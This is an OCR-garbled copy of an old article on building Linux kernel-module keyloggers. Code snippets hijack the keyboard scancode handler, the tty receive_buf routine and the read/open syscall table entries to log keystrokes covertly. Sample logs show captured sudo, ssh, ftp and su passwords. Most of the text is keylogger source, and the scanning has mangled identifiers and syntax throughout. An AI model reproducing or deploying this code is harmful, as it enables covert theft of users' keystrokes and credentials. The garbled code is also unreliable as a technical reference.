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/* below code is intel specific */
#define KEYBOARD IRQ 1
#define KBD STATUS REG 0x64
#define KBD CNTL REG 0x64
#define KBD DATA_REG 0x60

#define kbd read input() inb(KBD DATA_ REG)

#define kbd read status() inb(KBD_STATUS REG)

#define kbd write_output(val) outb(val, KBD DATA_ REG)
#define kbd write command(val) outb(val, KBD_CNTL REG)

/* register our own IRQ handler */
request_irq(KEYBOARD IRQ, my keyboard irq handler, 0, "my keyboard", NULL);
:Cubls eaalgs my keyboard_irq_handler() ,»

scancode = kbd read_input();
key_status =kbd_read_status();
log_scancode(scancode);
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# /usr/src/linux/drives/char/keyboard.c
void handle scancode(unsigned char scancode, int down);
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/* below is a code snippet written by Plasmoid */

static struct semaphore hs sem, log sem;
static int logging=1;



#define CODESIZE 7

static char hs_code[ CODESIZE];

static char hs jump[CODESIZE] =
"xb8\x00\x00\x00\x00" /* movl $0,%eax */
"\xff\xe0" /*  jmp *%eax */
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void (*handle scancode) (unsigned char, int) =
(void (*)(unsigned char, int)) HS ADDRESS;

void handle scancode(unsigned char scancode, int keydown)

{
if (logging && keydown)
log_scancode(scancode, LOGFILE);

/*

* Restore first bytes of the original handle scancode code. Call

* the restored function and re-restore the jump code. Code is

* protected by semaphore hs sem, we only want one CPU in here at a
* time.

*/

down(&hs_sem);

memcpy(handle scancode, hs_code, CODESIZE);
handle scancode(scancode, keydown);
memcpy(handle scancode, hs jump, CODESIZE);

up(&hs_sem);
b

HS ADDRESS is set by the Makefile executing this command
HS ADDRESS=0x$(word 1,8(shell ksyms -a | grep handle scancode))
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# /usr/src/linux/drives/char/keyboard.c
void put_queue(int ch);
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# /usr/src/linux/drivers/char/n_tty.c */
static void n_tty receive buf{(struct tty struct *tty, const
unsigned char *cp, char *fp, int count)
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# /usr/include/linux/tty.h
struct tty_struct {
int magic;
struct tty _driver driver;
struct tty ldisc Idisc;
struct termios *termios, *termios_locked;

}

# /usr/include/linux/tty ldisc.h
struct tty Idisc {

int magic;
char *name;
void (*receive buf)(struct tty struct *,
const unsigned char *cp, char *fp, int count);
int (*receive_room)(struct tty struct *);
void (*write_wakeup)(struct tty _struct *);
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int fd = open("/dev/tty0", O RDONLY, 0);
struct file *file = fget(fd);

struct tty_struct *tty = file->private data;
old receive buf = tty->ldisc.receive buf;
tty->ldisc.receive_buf=new receive buf;

void new_receive buf(struct tty struct *tty, const unsigned char *cp, char *fp, int count)
{
logging(tty, cp, count); //log inputs

/* call the original receive buf */



(*old_receive buf)(tty, cp, fp, count);
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# /usr/src/linux/drives/char/tty io.c

static ssize t tty read(struct file * file, char * buf, size t count,
loff t *ppos)

static struct file operations tty fops = {

llseek: tty Iseek,
read: tty read,
write: tty write,
poll: tty poll,
ioctl: tty ioctl,
open: tty _open,
release: tty release,

fasync: tty fasync,
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int fd = open("/dev/tty0", O RDONLY, 0);
struct file *file = fget(fd);
old tty read = file->f op->read;
file->f op->read = new_tty read,
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extern void *sys call table[];
original sys read =sys call table[ NR read];
sys call table[ NR read] =new sys read;
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// to intercept open syscall

original sys open =sys call table] NR open];
sys call table[ NR open] =new sys open;

// new_sys_open()
asmlinkage int new_sys_open(const char *filename, int flags, int mode)
{

// call the original sys open

ret = (*original_sys open)(filename, flags, mode);

if (ret >=0) {
struct tty struct * tty;

file = fget(ret);
tty = file->private data;
if (tty |=NULL &&

tty->ldisc.receive _buf !=new receive buf) {

// save the old receive buf
old receive buf = tty->ldisc.receive_bulf;

/ %
* init to intercept receive buf of this tty
* tty->1disc.receive buf = new receive buf;
*/
init_tty(tty, TTY INDEX(tty));

}
// our new receive buf() function
void new_receive buf{(struct tty struct *tty, const unsigned char *cp, char *{p, int count)
{
if (Itty->real raw && !tty->raw) // ignore raw mode
// call our logging function to log user inputs
vlogger process(tty, cp, count);
// call the original receive buf
(*old_receive buf)(tty, cp, fp, count);
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#define VK_TOGLE _CHAR 29 // CTRL-]
#define MAGIC_PASS  "31337" //to switch mode, type MAGIC PASS
// then press VK_TOGLE_CHAR key
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// directory to store log files
#define LOG_DIR "/tmp/log"

// your local timezone
#define TIMEZONE 7*60*60 // GMT+7

// your magic password
#define MAGIC_PASS  "31337"
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[root@localhost log]# s -1

total 60
“TW------- 1 root root 633 Jun 19 20:59 pass.log
-TW------- 1 root root 37593 Jun 19 18:51 pts11
g — 1 root root 56 Jun 19 19:00 pts20
g — 1 root root 746 Jun 19 20:06 pts26
g — 1 root root 116 Jun 19 19:57 pts29
g A— 1 root root 3219 Jun 19 21:30 ttyl
TW--mmm- 1 root root 18028 Jun 19 20:54 tty2
:Dump <> s
[root@localhost log]# head tty2 // local session

<19/06/2002-20:53:47 uid=501 bash> pwd
<19/06/2002-20:53:51 uid=501 bash> uname -a
<19/06/2002-20:53:53 uid=501 bash> lsmod
<19/06/2002-20:53:56 uid=501 bash> pwd
<19/06/2002-20:54:05 uid=501 bash> cd /var/log
<19/06/2002-20:54:13 uid=501 bash> tail messages
<19/06/2002-20:54:21 uid=501 bash> cd ~
<19/06/2002-20:54:22 uid=501 bash> Is
<19/06/2002-20:54:29 uid=501 bash> tty
<19/06/2002-20:54:29 uid=501 bash> [UP]

[root@localhost log]# tail pts11 // remote session
<19/06/2002-18:48:27 uid=0 bash> cd new
<19/06/2002-18:48:28 uid=0 bash> cp -p ~/code .



<19/06/2002-18:48:21 uid=0 bash> Ismod

<19/06/2002-18:48:27 uid=0 bash> cd /va[ TAB][*H]["H]tmp/log/
<19/06/2002-18:48:28 uid=0 bash> Is -1

<19/06/2002-18:48:30 uid=0 bash> tail pts11
<19/06/2002-18:48:38 uid=0 bash> [UP] | more
<19/06/2002-18:50:44 uid=0 bash> vi vlogertxt
<19/06/2002-18:50:48 uid=0 vi> :q

<19/06/2002-18:51:14 uid=0 bash> rmmod vlogger

:Smart cJl> s

[root@localhost log]# cat pass.log
[19/06/2002-18:28:05 tty=pts/20 uid=501 sudo]
USER/CMD sudo traceroute yahoo.com

PASS 5hgt6d

PASS

[19/06/2002-19:59:15 tty=pts/26 uid=0 ssh]
USER/CMD ssh guest@host.com
PASS guest

[19/06/2002-20:50:44 tty=pts/29 uid=504 ftp]
USER/CMD open ftp.ilog.fr

USER Anonymous

PASS heh@heh

[19/06/2002-20:59:54 tty=pts/29 uid=504 su]
USER/CMD su -
PASS asdf1234

e Linux Kernel Module Programming: http://www.tldp.org/LDP/lkmpg/

e Complete Linux Loadable Kernel Modules — Pragmatic:

http://www.thehackerschoice.com/papers/LKM_ HACKING.html

e The Linux keyboard driver - Andries Brouwer: http://www.linuxjournal.com/l}-

issues/issue14/1080.html

e Abuse of the Linux Kernel for Fun and Profit — Halflife:http://www.phrack.com/phrack/50/P50-05

e Kernel function hijacking - Silvio Cesare: http://www.big.net.au/~silvio/kernel-hijack.txt

e Passive Analysis of SSH (Secure Shell) Traffic - Solar Designer:

http://www.openwall.com/advisories/OW-003-ssh-traffic-analysis.txt

e Kernel Based Keylogger - Mercenary
http://packetstorm.decepticons.org/UNIX/security/kernel keylogger.txt
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